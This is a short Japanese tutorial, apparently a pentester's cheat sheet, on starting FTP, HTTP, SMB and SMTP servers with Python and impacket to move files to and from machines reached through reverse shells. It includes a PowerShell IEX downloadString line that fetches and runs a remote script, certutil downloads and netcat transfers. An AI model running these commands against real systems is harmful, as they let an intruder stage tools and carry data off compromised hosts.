FTP、HTTP、SMBサーバを簡単に立ち上げる。さらにそれを使って簡単にファイル転送する。
リバースシェル間でのファイル転送にすごく便利。
特に良い点が、-d
オプションを使ってどこからでも任意のディレクトリをシェアフォルダにできるということ。
FTPサーバー
pip install pyftpdlib
でインストール。
カレントディレクトリをシェアフォルダとして、21番ポートで、anonymousアクセスに書き込み権限を与えるならば
python3 -m pyftpdlib -w -p 21
(ポートを指定しない場合のデフォルトポートは2121)
/opt/PEASS-ngをシェアフォルダにしたい場合、わざわざそこに移動しなくてもカレントディレクトリ上で次のように-d
オプションを使えばよい
python3 -m pyftpdlib -w -p 21 -d /opt/PEASS-ng
FTPとファイル転送
まずftpサーバに接続:
ftp <ftpサーバのIPアドレス>
その後ftp
コマンドを用いる(anonymousアクセスなのでパスワードを求められてもエンターキーを推してスキップ)
ftpでのファイル転送に際し、txtファイルじゃないexeとかスクリプトとかを転送する場合はまずはじめにftpのプロンプト上で
bin
と打ち込んでエンターを押す。
ファイルダウンロード:
get <ファイル名>
ファイルアップロード:
put <ファイル名>
HTTPサーバ
python3 -m http.server
デフォルトポートは8080。
ポート80でカレントディレクト上にHTTpサーバを立ち上げるには
sudo python3 -m http.server 80
(大切だからくどめに、)-d
オプションで任意のディレクトリをシェアフォルダをとして指定できる(例:python3 -m http.server -d /opt/somedir
)。
HTTPサーバとファイル転送
wget http://<HTTPサーバのIP>:<ポート番号>/<ファイル名> -O <お好みのファイル名>
curl http://<HTTPサーバのIP>:<ポート番号>/<ファイル名> -o <お好みのファイル名>
Windowsなら
C:\> certutil -URLcache -f http://<HTTPサーバのIP>/file file
PS C:\> powershell -c "Invoke-Webrequest -OutFile <お好みのファイル名> -Uri http://<HTTPサーバのIP>/<ファイル名>"
PS C:\> IEX(New-Object Net.WebClient).downloadString('http://<HTTPサーバのIP>:<ポート番号>/<ファイル名>')
SMBサーバ
impacketのsmbserver.py
今のKali Linuxならデフォルトで入っていて、impacket-smbserver
で起動する。ポイントは"impacket"の文字を頭につけること。
impacket-smbserver.py <share name> <share folder> -smb2support
<share name>
は任意の名前、<share folder>
でシェアフォルダにしたいディレクトリを指定する。
SMBサーバとファイル転送
これはWindows上でのファイル転送ですごく使える。
SMBサーバ側からローカルにファイルをダウンロード:
copy \\<SMBサーバのIP>\<share name>\<ファイル名> <お好みのファイル名>
こちらのファイルSMBサーバ側へアップロード:
copy <アップロードするファイル名> \\<SMBサーバのIP\<share name>\
(おまけ)SMTPサーバ
sudo python3 -m smtpd <自身のIP>:25
sudo python3 -m smtpd -n -c DebuggingServer <自身のIP>:25
参考:
ファイル転送ならncコマンド
ちなみにLinuxにおけるファイル転送だけなら、nc
コマンドで可能。
ファイルを渡す人(file.txtを渡す):
nc -l 1234 < file.txt
ファイルをもらう人:
nc <相手のIP> 1234 > file.txt
相手のIPの次は、相手がリッスンしているポート番号(ここでは1234)を指定。